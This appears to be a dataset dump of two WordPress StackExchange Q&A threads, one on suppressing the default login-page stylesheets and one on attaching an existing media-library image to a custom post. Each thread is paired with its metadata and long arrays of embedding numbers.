0.01068878173828125,
0.0189208984375,
-0.01546478271484375,
0.0196533203125,
-0.00908660888671875,
0.04046630859375,
0.0006432533264160156,
0.045379638671875,
0.0048675537109375,
0.0063629150390625,
-0.0083770751953125,
0.03643798828125,
-0.0175628662109375,
0.0054168701171875,
-0.0120086669921875,
-0.00812530517578125,
0.01154327392578125,
-0.0244293212890625,
-0.034942626953125,
-0.03521728515625,
0.0018301010131835938,
0.035919189453125,
-0.0270843505859375,
0.023590087890625
] |
c7b0c47ec7bb555e86edf537eaf44873b140bff4
|
Wordpress Stackexchange
Q: Avoid to load default WP styles in login screen Is there some way to avoid the load of default WordPress styles in login screen to only load my custom stylesheets?
Actually I'm using this code:
function login_styles() {
// Sets the styles if is the current theme
if (get_stylesheet_directory() == get_template_directory()) {
// Prints link to stylesheed login.css
wp_register_style(...);
wp_enqueue_style(...);
}
}
add_action( 'login_enqueue_scripts', 'login_styles' );
It works well but WordPress first loads its styles. I want to exclude that files from this screen.
A: Using wp_deregister_style( 'login' ) to remove the login styles will still result in a 404'd request for the login CSS file. However, if you re-register the login style after deregistering it you can prevent the unwanted request.
add_action( 'login_init', function() {
wp_deregister_style( 'login' );
wp_register_style( 'login' );
} );
This will leave you with a completely unstyled wp-login.php page. To restyle it you could instead register your own CSS file under the login handle.
This might be more helpful than messing with the style_loader_tag filter.
Update:
login_enqueue_scripts is a more appropriate action and dequeuing doesn't result in a 404.
add_action( 'login_enqueue_scripts', function() {
wp_dequeue_style( 'login' );
} );
|
Q: Avoid to load default WP styles in login screen Is there some way to avoid the load of default WordPress styles in login screen to only load my custom stylesheets?
Actually I'm using this code:
function login_styles() {
// Sets the styles if is the current theme
if (get_stylesheet_directory() == get_template_directory()) {
// Prints link to stylesheed login.css
wp_register_style(...);
wp_enqueue_style(...);
}
}
add_action( 'login_enqueue_scripts', 'login_styles' );
It works well but WordPress first loads its styles. I want to exclude that files from this screen.
A: Using wp_deregister_style( 'login' ) to remove the login styles will still result in a 404'd request for the login CSS file. However, if you re-register the login style after deregistering it you can prevent the unwanted request.
add_action( 'login_init', function() {
wp_deregister_style( 'login' );
wp_register_style( 'login' );
} );
This will leave you with a completely unstyled wp-login.php page. To restyle it you could instead register your own CSS file under the login handle.
This might be more helpful than messing with the style_loader_tag filter.
Update:
login_enqueue_scripts is a more appropriate action and dequeuing doesn't result in a 404.
add_action( 'login_enqueue_scripts', function() {
wp_dequeue_style( 'login' );
} );
A: Following the lead of a G.M. comment in a deleted answer, where he points out that the login styles are printed with wp_admin_css() *, I've found a filter that does the job, style_loader_tag. But further tests show that wp_deregister_style is enough.
Feedback and further-further tests reveal that deregistering the style produces a 404 for wp-admin.css, so back to the loader tag:
add_action( 'login_init', function()
{
# Produces a 404 for the style
// wp_deregister_style( 'wp-admin' );
# The following is a filter in /wp-includes/class.wp-styles.php
# Completely cleans up the <head> of enqueues
add_filter( 'style_loader_tag', '__return_null' );
});
* There's even a filter inside this function, but seems that it doesn't catch registered styles.
A: Found the way to remove the styles from the login screen:
function login_styles_reset( $style ) {
if ( strpos( $style, 'wp-admin-css') !== FALSE ) {
$style = NULL;
} elseif ( strpos( $style, 'colors-fresh-css') !== FALSE ) {
$style = NULL;
}
return $style;
}
function custom_login_styles() {
add_filter( 'style_loader_tag', 'login_styles_reset' );
// Code for the new login styles
}
add_action( 'login_init', 'custom_login_styles');
Hope that helps someone else.
|
wordpress
|
{
"language": "en",
"length": 377,
"provenance": "stackexchange_00019.jsonl.gz:436875",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113501"
}
|
[
0.0416259765625,
0.02276611328125,
-0.0036334991455078125,
-0.034637451171875,
0.014251708984375,
-0.036651611328125,
0.0313720703125,
-0.0116729736328125,
-0.035308837890625,
-0.0045928955078125,
0.01093292236328125,
0.01401519775390625,
-0.053863525390625,
-0.0276031494140625,
0.031585693359375,
-0.0421142578125,
0.0180511474609375,
0.022918701171875,
0.038360595703125,
-0.00930023193359375,
0.008331298828125,
-0.007579803466796875,
0.033050537109375,
0.0325927734375,
0.0107421875,
-0.0343017578125,
0.091796875,
-0.0023956298828125,
0.035186767578125,
0.00400543212890625,
0.0168914794921875,
-0.0672607421875,
0.012908935546875,
0.0572509765625,
-0.042633056640625,
-0.0156707763671875,
0.00013768672943115234,
0.025848388671875,
0.0160980224609375,
0.00937652587890625,
0.0201568603515625,
-0.003345489501953125,
0.0052947998046875,
0.007755279541015625,
-0.0340576171875,
-0.03289794921875,
0.0169525146484375,
0.0030536651611328125,
0.0238494873046875,
-0.00609588623046875,
0.0007414817810058594,
0.02880859375,
0.01861572265625,
-0.0312347412109375,
-0.018157958984375,
-0.0094451904296875,
-0.03436279296875,
0.01401519775390625,
0.016082763671875,
0.0161285400390625,
0.0034275054931640625,
-0.01934814453125,
0.0150909423828125,
-0.032440185546875,
-0.0121002197265625,
-0.0157470703125,
-0.02105712890625,
0.01258087158203125,
-0.0224609375,
-0.004192352294921875,
0.0302276611328125,
-0.0238494873046875,
0.01097869873046875,
-0.034454345703125,
-0.032684326171875,
0.04150390625,
-0.0196990966796875,
0.004055023193359375,
0.042816162109375,
-0.0304412841796875,
-0.01087188720703125,
-0.051513671875,
-0.053985595703125,
-0.018310546875,
0.0255279541015625,
0.0198974609375,
-0.00780487060546875,
-0.01496124267578125,
0.005336761474609375,
-0.010498046875,
-0.01171112060546875,
0.007305145263671875,
0.0010843276977539062,
-0.007266998291015625,
-0.0134429931640625,
-0.033935546875,
0.0137939453125,
0.03326416015625,
0.0301055908203125,
0.016143798828125,
-0.01209259033203125,
-0.034942626953125,
-0.009552001953125,
-0.01448822021484375,
-0.005771636962890625,
0.08294677734375,
0.0255279541015625,
0.0168304443359375,
0.00545501708984375,
0.0013332366943359375,
0.036712646484375,
0.0091094970703125,
-0.0071868896484375,
-0.0090179443359375,
-0.02337646484375,
0.034423828125,
0.00150299072265625,
-0.0128326416015625,
-0.01513671875,
0.0138702392578125,
-0.0243988037109375,
0.0008234977722167969,
0.01187896728515625,
-0.0163116455078125,
-0.010040283203125,
-0.037506103515625,
-0.0079345703125,
-0.0132904052734375,
-0.005126953125,
0.0174560546875,
-0.0224456787109375,
0.0181427001953125,
0.05181884765625,
-0.0026531219482421875,
-0.0277862548828125,
-0.015380859375,
0.01885986328125,
-0.0161590576171875,
-0.0170440673828125,
0.007785797119140625,
0.005199432373046875,
-0.050750732421875,
-0.005641937255859375,
0.0016565322875976562,
-0.0236053466796875,
0.0120086669921875,
0.024200439453125,
0.011688232421875,
-0.025726318359375,
-0.0618896484375,
0.0269012451171875,
-0.01497650146484375,
-0.005054473876953125,
0.033782958984375,
0.019775390625,
0.032440185546875,
0.045074462890625,
-0.0007495880126953125,
-0.04522705078125,
-0.0037441253662109375,
-0.0124053955078125,
-0.01538848876953125,
-0.011566162109375,
-0.0130462646484375,
-0.019744873046875,
0.01904296875,
0.00946807861328125,
0.006877899169921875,
0.03570556640625,
0.0310516357421875,
0.0178375244140625,
-0.03790283203125,
0.0097808837890625,
0.022491455078125,
0.0031223297119140625,
0.0217437744140625,
0.003253936767578125,
0.051116943359375,
0.0118408203125,
0.0084686279296875,
-0.007293701171875,
-0.04779052734375,
0.049530029296875,
-0.02020263671875,
-0.05181884765625,
0.0015506744384765625,
0.0235137939453125,
0.055816650390625,
0.0205841064453125,
0.0254669189453125,
0.0494384765625,
-0.0013580322265625,
-0.0301361083984375,
-0.01557159423828125,
-0.009613037109375,
-0.00982666015625,
0.0019521713256835938,
0.006038665771484375,
0.0007534027099609375,
0.0233612060546875,
0.0286712646484375,
-0.0025463104248046875,
0.0287322998046875,
-0.03277587890625,
-0.040435791015625,
-0.0040435791015625,
-0.01812744140625,
0.03717041015625,
-0.0284881591796875,
0.00969696044921875,
0.00513458251953125,
0.0118408203125,
-0.01422119140625,
-0.015533447265625,
0.0006284713745117188,
0.033050537109375,
-0.01540374755859375,
0.05633544921875,
-0.0033245086669921875,
0.0247955322265625,
-0.0011816024780273438,
-0.051788330078125,
0.0079803466796875,
-0.012451171875,
-0.0133056640625,
-0.0240020751953125,
-0.01593017578125,
-0.0283660888671875,
0.0178680419921875,
-0.018280029296875,
0.060272216796875,
0.0430908203125,
0.01373291015625,
0.051422119140625,
-0.03546142578125,
-0.023956298828125,
-0.0233917236328125,
-0.022186279296875,
0.020263671875,
0.04052734375,
0.038116455078125,
0.02349853515625,
-0.0247955322265625,
-0.01666259765625,
0.02581787109375,
-0.03546142578125,
0.0180206298828125,
-0.006969451904296875,
-0.0009288787841796875,
-0.005153656005859375,
0.01023101806640625,
-0.0032291412353515625,
0.029144287109375,
-0.035491943359375,
0.006649017333984375,
0.0277557373046875,
-0.0288238525390625,
-0.039093017578125,
-0.0033550262451171875,
0.0023326873779296875,
0.0164031982421875,
-0.01507568359375,
-0.0174102783203125,
0.0005965232849121094,
-0.01873779296875,
-0.04022216796875,
-0.033599853515625,
-0.0491943359375,
-0.0181121826171875,
-0.011260986328125,
0.033447265625,
-0.062408447265625,
-0.0265655517578125,
0.0112762451171875,
0.0655517578125,
-0.04779052734375,
-0.04571533203125,
-0.00949859619140625,
-0.006816864013671875,
-0.0042572021484375,
-0.01898193359375,
0.016510009765625,
-0.040283203125,
-0.01580810546875,
-0.0095672607421875,
-0.07196044921875,
0.0023593902587890625,
0.01442718505859375,
0.03668212890625,
0.004985809326171875,
0.01849365234375,
0.0159454345703125,
-0.00949859619140625,
0.0343017578125,
0.0242462158203125,
-0.046875,
0.023101806640625,
0.00989532470703125,
0.017852783203125,
-0.0154571533203125,
0.006877899169921875,
0.03631591796875,
0.0125885009765625,
-0.01276397705078125,
-0.0007834434509277344,
0.00823211669921875,
0.020355224609375,
-0.01016998291015625,
-0.00736236572265625,
0.006809234619140625,
-0.047119140625,
0.0104522705078125,
0.040191650390625,
0.05450439453125,
0.0235748291015625,
-0.032867431640625,
0.01421356201171875,
0.051971435546875,
-0.033599853515625,
-0.0706787109375,
-0.050018310546875,
-0.09588623046875,
0.018035888671875,
-0.0313720703125,
-0.036590576171875,
0.012786865234375,
-0.014434814453125,
0.0252532958984375,
0.0039825439453125,
-0.0361328125,
-0.0197296142578125,
-0.035369873046875,
-0.0498046875,
-0.003536224365234375,
0.01419830322265625,
-0.002483367919921875,
0.004009246826171875,
0.061767578125,
0.00951385498046875,
-0.0213623046875,
0.020294189453125,
-0.00989532470703125,
-0.006359100341796875,
-0.00130462646484375,
0.00750732421875,
-0.05035400390625,
0.0069427490234375,
-0.00970458984375,
-0.02972412109375,
-0.00386810302734375,
0.0236358642578125,
-0.01458740234375,
-0.0091400146484375,
-0.053924560546875,
-0.01739501953125,
0.0712890625,
0.0077056884765625,
-0.060211181640625,
0.00936126708984375,
-0.0677490234375,
-0.01334381103515625,
-0.004558563232421875,
-0.033447265625,
0.0369873046875,
0.02337646484375,
-0.03607177734375,
0.023193359375,
-0.00827789306640625,
0.022796630859375,
-0.0009355545043945312,
0.007053375244140625,
-0.0208587646484375,
0.0255584716796875,
0.00469207763671875,
0.0139617919921875,
-0.017181396484375,
0.043701171875,
-0.0306243896484375,
-0.0148773193359375,
0.00557708740234375,
-0.0036602020263671875,
-0.0047149658203125,
-0.053955078125,
-0.044647216796875,
-0.03900146484375,
0.031768798828125,
-0.03570556640625,
0.020538330078125,
-0.05133056640625,
-0.006740570068359375,
-0.0203857421875,
0.08038330078125,
-0.035430908203125,
-0.0113067626953125,
0.0251007080078125,
0.0260467529296875,
-0.044342041015625,
-0.06280517578125,
-0.04718017578125,
0.00768280029296875,
-0.0809326171875,
-0.01233673095703125,
-0.013580322265625,
-0.050567626953125,
0.0374755859375,
-0.07122802734375,
-0.043701171875,
-0.06207275390625,
0.025634765625,
0.05511474609375,
0.011199951171875,
0.01248931884765625,
0.00710296630859375,
-0.0003304481506347656,
0.01480865478515625,
0.004177093505859375,
-0.09844970703125,
-0.023284912109375,
-0.04931640625,
0.10089111328125,
0.031402587890625,
0.0155181884765625,
-0.01000213623046875,
0.049163818359375,
-0.0011920928955078125,
-0.007080078125,
0.0219879150390625,
0.0038242340087890625,
0.030426025390625,
0.024322509765625,
0.0089569091796875,
0.002651214599609375,
-0.0030384063720703125,
0.0008935928344726562,
-0.0531005859375,
-0.0087127685546875,
-0.0128326416015625,
-0.0137786865234375,
0.056549072265625,
-0.0294036865234375,
-0.01415252685546875,
-0.0050201416015625,
0.03509521484375,
0.013031005859375,
0.040374755859375,
-0.026214599609375,
-0.01392364501953125,
-0.00543975830078125,
0.0253448486328125,
0.020660400390625,
-0.0272979736328125,
-0.005725860595703125,
0.033843994140625,
0.03790283203125,
-0.02093505859375,
0.005748748779296875,
0.04156494140625,
0.0205230712890625,
-0.025909423828125,
0.041656494140625,
-0.009521484375,
-0.0127716064453125,
0.054718017578125,
-0.0216064453125,
0.025115966796875,
-0.009857177734375,
0.068359375,
-0.0279693603515625,
-0.038482666015625,
0.043792724609375,
-0.04986572265625,
-0.034576416015625,
0.050384521484375,
0.04937744140625,
-0.0295867919921875,
0.058441162109375,
-0.01220703125,
0.00015926361083984375,
-0.04638671875,
0.0050811767578125,
-0.02032470703125,
-0.006412506103515625,
0.01398468017578125,
0.02093505859375,
0.038177490234375,
-0.0072784423828125,
0.0024585723876953125,
0.01678466796875,
-0.01284027099609375,
0.01277923583984375,
0.0095367431640625,
0.018890380859375,
0.0188140869140625,
0.0229339599609375,
-0.00836944580078125,
-0.00830841064453125,
-0.0182647705078125,
0.051513671875,
-0.007167816162109375,
-0.06158447265625,
-0.0087432861328125,
-0.0013599395751953125,
0.05487060546875,
0.035614013671875,
-0.0084381103515625,
0.054046630859375,
-0.0123748779296875,
-0.04095458984375,
-0.0347900390625,
-0.02423095703125,
-0.039215087890625,
-0.06524658203125,
0.01568603515625,
-0.0185394287109375,
-0.0101470947265625,
0.01392364501953125,
-0.0017185211181640625,
-0.00780487060546875,
-0.0011653900146484375,
-0.006320953369140625,
-0.020751953125,
-0.022064208984375,
0.0386962890625,
0.0104217529296875,
-0.01739501953125,
0.020782470703125,
0.00763702392578125,
0.05889892578125,
-0.045013427734375,
-0.02587890625,
0.007091522216796875,
0.045318603515625,
-0.03729248046875,
-0.01568603515625,
0.03680419921875,
-0.01107025146484375,
0.00620269775390625,
0.0261383056640625,
-0.059478759765625,
-0.07391357421875,
-0.032135009765625,
0.0124359130859375,
0.05279541015625,
-0.04144287109375,
-0.00879669189453125,
0.0073394775390625,
-0.00644683837890625,
-0.00418853759765625,
0.0239410400390625,
-0.06353759765625,
-0.000499725341796875,
0.0195159912109375,
-0.00878143310546875,
-0.037078857421875,
-0.0270233154296875,
-0.06719970703125,
0.014892578125,
-0.010986328125,
0.006153106689453125,
-0.031585693359375,
-0.01497650146484375,
0.0275115966796875,
-0.006191253662109375,
-0.0290069580078125,
0.00255584716796875,
0.0155792236328125,
0.0175933837890625,
-0.007335662841796875,
-0.005527496337890625,
-0.0018091201782226562,
-0.043792724609375,
-0.0286407470703125,
-0.044036865234375,
-0.059722900390625,
-0.035919189453125,
-0.016937255859375,
-0.00411224365234375,
-0.01007843017578125,
-0.0018377304077148438,
-0.000980377197265625,
-0.053466796875,
0.02789306640625,
0.0411376953125,
0.00997161865234375,
-0.048095703125,
0.059173583984375,
0.027496337890625,
-0.03656005859375,
-0.00690460205078125,
0.058074951171875,
0.032073974609375,
0.004199981689453125,
-0.010040283203125,
-0.04193115234375,
-0.007007598876953125,
-0.0220794677734375,
0.00218963623046875,
0.057952880859375,
0.07635498046875,
0.0072174072265625,
0.0003993511199951172,
0.003490447998046875,
-0.0016851425170898438,
-0.017791748046875,
0.0261077880859375,
0.0276031494140625,
-0.0015382766723632812,
0.0219879150390625,
0.042633056640625,
0.05413818359375,
-0.043121337890625,
0.00019752979278564453,
-0.00013363361358642578,
-0.0018892288208007812,
0.039703369140625,
-0.041107177734375,
-0.051177978515625,
0.03887939453125,
0.0250244140625,
0.00763702392578125,
0.0156707763671875,
-0.02703857421875,
0.01580810546875,
0.00861358642578125,
0.0038471221923828125,
0.0033817291259765625,
-0.01267242431640625,
0.04150390625,
-0.0011749267578125,
0.01210784912109375,
0.03228759765625,
-0.00798797607421875,
0.015869140625,
0.091796875,
0.0675048828125,
-0.123046875,
0.0152740478515625,
-0.0005669593811035156,
0.0038204193115234375,
0.050445556640625,
-0.00010561943054199219,
-0.010711669921875,
0.004974365234375,
0.050262451171875,
0.01226806640625,
-0.007427215576171875,
0.036346435546875,
0.0167083740234375,
0.00867462158203125,
-0.0015592575073242188,
-0.02532958984375,
-0.0035724639892578125,
-0.045623779296875,
-0.01141357421875,
0.043121337890625,
-0.01361846923828125,
-0.028533935546875,
-0.0015802383422851562,
0.004791259765625,
-0.0256195068359375,
-0.08074951171875,
-0.01328277587890625,
-0.0114288330078125,
-0.0257415771484375,
0.0478515625,
0.0054779052734375,
0.032623291015625,
0.015625,
-0.00434112548828125,
0.0172576904296875,
-0.04595947265625,
0.03326416015625,
0.0390625,
-0.022979736328125,
0.0264739990234375,
0.002349853515625,
-0.0266571044921875,
0.00848388671875,
0.02325439453125,
-0.045074462890625,
-0.01136016845703125,
-0.050750732421875,
0.0804443359375,
-0.031982421875,
-0.01544952392578125,
0.0008087158203125,
0.017059326171875,
0.0164947509765625,
-0.0423583984375,
0.038055419921875,
-0.0777587890625,
-0.041748046875,
-0.011077880859375,
-0.035980224609375,
-0.0062255859375,
-0.0540771484375,
-0.0390625,
0.039794921875,
-0.049713134765625,
0.0254669189453125,
0.021240234375,
0.003093719482421875,
-0.0034885406494140625,
-0.0109405517578125,
0.00662994384765625,
0.054290771484375,
0.0567626953125,
-0.01039886474609375,
0.03936767578125,
-0.0013551712036132812,
0.0384521484375,
0.00722503662109375,
0.05133056640625,
0.01611328125,
-0.03668212890625,
-0.0215606689453125,
0.034515380859375,
0.06103515625,
0.028961181640625,
0.0189056396484375,
-0.006244659423828125,
0.036376953125,
-0.006343841552734375,
-0.046905517578125,
0.00902557373046875,
-0.0004925727844238281,
-0.04547119140625,
0.0223236083984375,
0.004108428955078125,
-0.018341064453125,
0.0023479461669921875,
0.0426025390625,
-0.09210205078125,
0.026336669921875,
0.046844482421875,
0.045989990234375,
0.00986480712890625,
0.038177490234375,
0.03436279296875,
-0.0110931396484375,
-0.034637451171875,
-0.0219268798828125,
0.02557373046875,
0.0076904296875,
-0.0037403106689453125,
-0.0021419525146484375,
0.0180816650390625,
0.00247955322265625,
-0.039398193359375,
-0.00893402099609375,
-0.001102447509765625,
-0.0216217041015625,
0.017120361328125,
-0.0165863037109375,
0.03570556640625,
-0.0291595458984375,
-0.005130767822265625,
-0.0187530517578125,
0.01090240478515625,
-0.01453399658203125,
-0.01513671875,
0.025146484375,
-0.0016193389892578125,
-0.0095977783203125,
-0.0121612548828125,
0.01558685302734375,
-0.08160400390625,
-0.037017822265625,
-0.004932403564453125,
0.001041412353515625,
0.012237548828125,
-0.019500732421875,
-0.0033168792724609375,
0.0248565673828125,
0.01029205322265625,
0.044281005859375,
-0.0099945068359375,
0.02142333984375,
-0.01282501220703125,
-0.004482269287109375,
-0.0102691650390625,
0.01462554931640625,
-0.0093841552734375,
0.017364501953125,
-0.048187255859375,
0.0287933349609375,
-0.0225830078125,
0.053192138671875,
-0.041717529296875,
0.013153076171875,
-0.05352783203125,
0.045166015625,
0.040374755859375,
-0.01483154296875,
0.042724609375,
0.01495361328125,
-0.048126220703125,
0.0009145736694335938,
0.011505126953125,
-0.02471923828125,
0.0132293701171875,
-0.0194244384765625,
-0.00846099853515625,
-0.004306793212890625,
-0.01428985595703125,
-0.0090789794921875,
0.00592803955078125,
0.03936767578125,
-0.03936767578125,
-0.01120758056640625,
0.005001068115234375,
-0.017181396484375,
0.018096923828125,
0.0011310577392578125,
-0.00772857666015625,
-0.0086517333984375,
-0.04803466796875,
-0.0159759521484375,
-0.02825927734375,
0.02447509765625,
-0.001995086669921875,
0.015625,
-0.00782012939453125,
0.0379638671875,
0.04559326171875,
-0.00260162353515625,
-0.01081085205078125,
-0.037445068359375,
0.039703369140625,
-0.042449951171875,
0.0028858184814453125,
0.01514434814453125,
-0.10455322265625,
-0.0517578125,
-0.07763671875,
0.04217529296875,
0.018585205078125,
0.09271240234375,
-0.01806640625,
0.0303192138671875,
0.033172607421875,
0.0032825469970703125,
0.009796142578125,
0.01461029052734375,
-0.00609588623046875,
-0.031463623046875,
-0.00021946430206298828,
0.0008573532104492188,
-0.047393798828125,
0.06903076171875,
-0.0010585784912109375,
0.0225982666015625,
0.038330078125,
0.01415252685546875,
0.00415802001953125,
0.0034046173095703125,
-0.00732421875,
-0.043853759765625,
-0.07958984375,
-0.04327392578125,
0.03369140625,
-0.03253173828125,
-0.01251983642578125,
-0.005634307861328125,
0.03875732421875,
-0.0073394775390625,
-0.012054443359375,
0.025299072265625,
-0.01507568359375,
0.019500732421875,
0.0077972412109375,
-0.01087188720703125,
0.0167236328125,
-0.00872039794921875,
-0.01085662841796875,
0.02117919921875,
0.00630950927734375,
-0.0012350082397460938,
-0.00521087646484375,
-0.0081024169921875,
0.047576904296875,
0.089111328125,
0.0906982421875,
0.0413818359375,
0.0302734375,
0.0360107421875,
-0.0311737060546875,
0.0220947265625,
-0.05218505859375,
-0.017181396484375,
-0.040191650390625,
-0.0225982666015625,
0.0035533905029296875,
-0.02325439453125,
-0.056732177734375,
0.00595855712890625,
0.0450439453125,
0.028106689453125,
-0.0035381317138671875,
-0.076904296875,
0.0518798828125,
-0.047210693359375,
0.06988525390625,
-0.0252532958984375,
0.005023956298828125,
-0.0135650634765625,
-0.0206298828125,
-0.04010009765625,
-0.005954742431640625,
-0.035491943359375,
0.017333984375,
-0.009796142578125,
-0.03057861328125,
0.0205535888671875,
0.0295257568359375,
0.041168212890625,
-0.0623779296875,
-0.049163818359375,
-0.0022029876708984375,
-0.10418701171875,
-0.00678253173828125,
0.012451171875,
0.0165252685546875,
-0.016510009765625,
-0.068603515625,
-0.018096923828125,
-0.014617919921875,
0.020172119140625,
0.024658203125,
-0.046295166015625,
-0.0261383056640625,
-0.052581787109375,
-0.08489990234375,
0.04791259765625,
0.00693511962890625,
-0.051910400390625,
-0.0130157470703125,
0.033905029296875,
0.00534820556640625,
-0.046783447265625,
-0.018585205078125,
-0.042999267578125,
-0.00004100799560546875,
0.015533447265625,
-0.0008344650268554688,
0.013031005859375,
0.038360595703125,
-0.012725830078125,
-0.033203125,
0.0009517669677734375,
0.01049041748046875,
0.00994110107421875,
-0.044036865234375,
0.0280914306640625,
0.023101806640625,
0.0304107666015625,
0.0013837814331054688,
0.06927490234375,
0.049224853515625,
0.00383758544921875,
0.0257110595703125,
-0.0160369873046875,
0.009765625,
0.01153564453125,
0.024993896484375,
-0.0160369873046875,
-0.00522613525390625,
0.003143310546875,
-0.05169677734375,
-0.057647705078125,
-0.00534820556640625,
-0.0290985107421875,
0.018157958984375,
-0.09576416015625,
-0.01561737060546875,
-0.0003809928894042969,
-0.01491546630859375,
-0.0173797607421875,
-0.01091766357421875,
-0.044097900390625,
-0.0065155029296875,
0.00991058349609375,
0.0231781005859375,
-0.038116455078125,
0.0013494491577148438,
0.0421142578125,
-0.0117950439453125,
0.03955078125,
-0.00942230224609375,
0.01654052734375,
0.050506591796875,
0.035247802734375,
-0.022735595703125,
0.0240631103515625,
-0.05035400390625,
-0.0056915283203125,
-0.01519012451171875,
-0.01177978515625,
-0.029052734375,
0.016143798828125,
-0.013946533203125,
-0.018463134765625,
-0.0020503997802734375,
-0.0155792236328125,
-0.00010132789611816406,
-0.03369140625,
-0.00463104248046875,
0.0146636962890625,
-0.0252532958984375,
-0.0265045166015625,
-0.020355224609375,
-0.0011997222900390625,
0.025909423828125,
-0.009490966796875,
0.06591796875,
-0.01125335693359375,
0.003566741943359375,
-0.0190887451171875,
0.0248565673828125,
-0.0634765625,
0.0239410400390625,
-0.026519775390625,
0.0223388671875,
0.02484130859375
] |
a12701797b13bdf31a0cbe239e60af046d33f0f2
|
Wordpress Stackexchange
Q: Associate an existing image with a post I'm trying to associate an existing image from the media library with a post (It's a custom post type), If I use wp_insert_attachment I get a duplicate in the media library, so I'm getting the image id and using that as the attach_id.
$attach_id = intval( $file['id'] );
$attach_data = wp_generate_attachment_metadata( $attach_id, $filename );
$result = wp_update_attachment_metadata( $attach_id, $attach_data );
This doesn't work and the $result is false.
I'm sure I'm missing something simple. Can anybody enlighten me?
A: I have decided to post it as a separate post and not a comment because it will be lost.
I've tried Ben's solution but it modifies the attachment's other data fields.
I ended up using this.
$attachment = array(
'ID' => $att_id,
'post_parent' => $custom_post_id,
);
$res = wp_update_post($attachment);
|
Q: Associate an existing image with a post I'm trying to associate an existing image from the media library with a post (It's a custom post type), If I use wp_insert_attachment I get a duplicate in the media library, so I'm getting the image id and using that as the attach_id.
$attach_id = intval( $file['id'] );
$attach_data = wp_generate_attachment_metadata( $attach_id, $filename );
$result = wp_update_attachment_metadata( $attach_id, $attach_data );
This doesn't work and the $result is false.
I'm sure I'm missing something simple. Can anybody enlighten me?
A: I have decided to post it as a separate post and not a comment because it will be lost.
I've tried Ben's solution but it modifies the attachment's other data fields.
I ended up using this.
$attachment = array(
'ID' => $att_id,
'post_parent' => $custom_post_id,
);
$res = wp_update_post($attachment);
A: You can modify an existing media library image using wp_insert_attachment by setting the ID key in the parameter array.
$attachment = array(
'ID' => $existing_library_attachment_id,
'post_parent' => $custom_post_id
);
wp_insert_attachment( $attachment );
This will update the attachment post with ID $existing_library_attachment_id to have a post_parent value of $custom_post_id. However, the only thing this will affect is the permalink of the attachment post. Unless you do something else to edit your custom post itself, you won't see any changes on that post.
Here are some things you can do to attach the image to your post:
*
*To make the image the "featured image" of your post, use the set_post_thumbnail function:
set_post_thumbnail( $custom_post_id, $existing_library_attachment_id );
*To show the picture in the content area of your post, you need to edit the post_content of your post (with wp_update_post, for example). To add an individual image to your post, you can add an <img> tag (perhaps using the get_image_tag function). If you want to add a gallery, use the [gallery] shortcode.
|
wordpress
|
{
"language": "en",
"length": 305,
"provenance": "stackexchange_00019.jsonl.gz:436881",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113516"
}
|
[
0.08038330078125,
-0.0090179443359375,
0.027191162109375,
-0.020172119140625,
0.021942138671875,
-0.0311737060546875,
0.0845947265625,
-0.033416748046875,
0.0171661376953125,
0.01323699951171875,
0.00873565673828125,
-0.0198822021484375,
-0.01317596435546875,
-0.029144287109375,
-0.0148162841796875,
-0.00598907470703125,
0.041778564453125,
-0.01239776611328125,
0.05987548828125,
0.00894927978515625,
0.0014486312866210938,
0.0265960693359375,
0.061370849609375,
-0.0155181884765625,
0.0045013427734375,
0.0271453857421875,
0.054229736328125,
0.008575439453125,
0.01381683349609375,
0.00732421875,
0.0213775634765625,
-0.0308837890625,
0.023712158203125,
-0.00792694091796875,
-0.00885009765625,
0.01477813720703125,
0.030975341796875,
-0.0140380859375,
-0.0111236572265625,
0.036376953125,
-0.00530242919921875,
0.014129638671875,
0.060699462890625,
-0.0180816650390625,
0.0046234130859375,
-0.00942230224609375,
-0.01013946533203125,
-0.03485107421875,
0.01299285888671875,
0.00554656982421875,
0.0064849853515625,
-0.00109100341796875,
0.021148681640625,
-0.0037822723388671875,
-0.01983642578125,
-0.0193328857421875,
-0.03399658203125,
0.018768310546875,
0.0233306884765625,
0.000016748905181884766,
-0.0277252197265625,
-0.0103912353515625,
0.0254364013671875,
-0.0009512901306152344,
0.035125732421875,
-0.005832672119140625,
0.039947509765625,
0.0225982666015625,
-0.0684814453125,
0.00038433074951171875,
0.04681396484375,
-0.04296875,
-0.0177764892578125,
-0.01316070556640625,
0.0121307373046875,
-0.008026123046875,
0.0247955322265625,
-0.0081939697265625,
-0.0278778076171875,
0.037567138671875,
0.005107879638671875,
0.01520538330078125,
-0.024993896484375,
0.0068511962890625,
-0.00957489013671875,
0.0157012939453125,
-0.0186920166015625,
-0.022918701171875,
0.004848480224609375,
-0.009521484375,
-0.01189422607421875,
-0.041839599609375,
0.030426025390625,
0.00380706787109375,
-0.03668212890625,
-0.0220947265625,
0.039276123046875,
0.051422119140625,
-0.01081085205078125,
0.0379638671875,
-0.02276611328125,
-0.042449951171875,
0.05023193359375,
-0.05224609375,
0.0243988037109375,
0.006870269775390625,
-0.01067352294921875,
-0.05999755859375,
0.0252532958984375,
0.0031909942626953125,
-0.033538818359375,
0.053802490234375,
0.005619049072265625,
0.0029430389404296875,
-0.01910400390625,
0.038116455078125,
-0.004146575927734375,
0.0091094970703125,
-0.0193939208984375,
0.0362548828125,
-0.0195159912109375,
-0.0035915374755859375,
0.003673553466796875,
0.009002685546875,
0.0181884765625,
0.01013946533203125,
-0.01812744140625,
-0.01436614990234375,
0.0279388427734375,
-0.0261383056640625,
-0.045654296875,
0.0267791748046875,
0.09259033203125,
0.0211944580078125,
0.023345947265625,
-0.0006208419799804688,
-0.0244293212890625,
-0.0013418197631835938,
0.0016222000122070312,
-0.0008940696716308594,
0.03204345703125,
-0.0399169921875,
-0.0130462646484375,
0.0399169921875,
0.003932952880859375,
0.051239013671875,
-0.0032100677490234375,
-0.0020809173583984375,
0.0031871795654296875,
-0.09625244140625,
0.045806884765625,
-0.07501220703125,
0.00557708740234375,
0.016815185546875,
0.001323699951171875,
-0.04766845703125,
0.04205322265625,
-0.040618896484375,
0.04705810546875,
-0.053466796875,
0.037811279296875,
0.0084075927734375,
-0.00547027587890625,
0.004055023193359375,
-0.009521484375,
-0.0101318359375,
-0.030548095703125,
-0.0027904510498046875,
0.0146942138671875,
0.0638427734375,
0.00894927978515625,
-0.025054931640625,
-0.0243072509765625,
-0.00115203857421875,
-0.0194244384765625,
-0.005512237548828125,
